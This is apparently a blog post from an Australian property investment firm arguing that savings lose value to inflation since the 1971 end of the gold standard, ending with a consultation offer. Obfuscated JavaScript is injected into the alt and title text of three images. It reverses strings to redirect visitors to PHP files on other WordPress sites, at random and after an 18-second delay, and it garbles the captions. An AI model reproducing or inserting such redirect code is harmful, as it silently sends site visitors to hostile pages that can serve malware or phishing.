Putting Savings to Good use
This week’s radio interview focused on putting your savings to good use and making inflation work for you. An article by Robert Kiyosaki was recently featured on a reader’s Facebook page stating that, “Savers are Losers.”
![Putting Savings <script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Good Use Steve Taylor & Partners](https://stevetaylor.com.au/wp-content/uploads/2017/04/savings-good-use.jpg "Putting Savings <script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Good Use Steve Taylor & Partners")
Do I agree with this? Yes and No.
For a young couple getting started who do not have the help of their parents or family, it is necessary to build savings toward a deposit for their first residential or investment home. If this is their aim, it is important that they make saving a priority, to reach their goal as soon as possible.
I say as soon as possible because with inflation their target keeps moving away from them.
To get started building wealth with a property investment portfolio or building equity in your own home it is necessary to save for a deposit. However to rely on savings alone to create wealth will never work as the real value of our savings diminishes with inflation.
A real life example
I know of a couple that owned a modest home in Melbourne and had no debt. They were moving to a mining area, both with high-income jobs and accommodation supplied for 5 years. Their plan was to sell their Melbourne home, put the money in a savings account save as much as they could and then return with a comfortable “nest egg”.
How did it turn out?
It was a waste of time and energy. With the money in the bank from the sale of their home, plus 5 years of savings, they had just enough to buy a house similar to the one they sold 5 years before.
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If Benjamin Franklin was correct centuries ago, why is he incorrect now?
After the Second World War the major countries of the Western world decided that the $US would be the world’s reserve currency and all currencies would be backed by gold. In other words all paper money was a receipt for gold held in reserves. At this time it was illegal for people to hold gold except for a tooth filling or jewellery.
In Australia, for example, our Federal Treasurer used to talk about balancing the budget, in other words our country had the aim of only spending what we banked.
What changed?
![Putting Savings <script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Good Use Steve Taylor & Partners](https://stevetaylor.com.au/wp-content/uploads/2017/04/savings-inflation.jpg "Putting Savings <script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Good Use Steve Taylor & Partners")
In 1971 President Nixon declared that the $US was no longer backed by gold and that gold could be traded like any other commodity. All countries in the western world soon did the same.
The result was inflation. All of a sudden the Treasurer was no longer restricted by the amount of money that could be printed. Instead of “balancing the budget” we now budget for a deficit and fund it by printing money. This continually dilutes the value of currency in circulation. For example, if the house you bought in Brisbane 10 years ago for $250,000 is now worth $500,000 it is wrong to say the real value doubled. The real value is still much the same but with inflation the $ value has doubled.
What should we do?
When starting out, build your savings as quickly as you can and then create wealth by investing and making inflation work for you instead of being the enemy of so many retirees.
Would you like to know more about putting your savings to good use and how to get started? Please contact our office to schedule a free, no obligation consultation and let’s discuss your options.
Steve Taylor
If you prefer to listen here is my radio interview on Emerald 4HI:
![Putting Savings <script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Good Use Steve Taylor & Partners](https://stevetaylor.com.au/wp-content/uploads/2016/11/Steve-Taylor.jpg "Putting Savings <script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Good Use Steve Taylor & Partners")
DISCLAIMER
Steve Taylor & Partners blog is opinion and not advice. Readers should seek their own professional advice on the subject being discussed. The figures stated in this article were accurate at the time of publication. For up to date figures, please contact our office.
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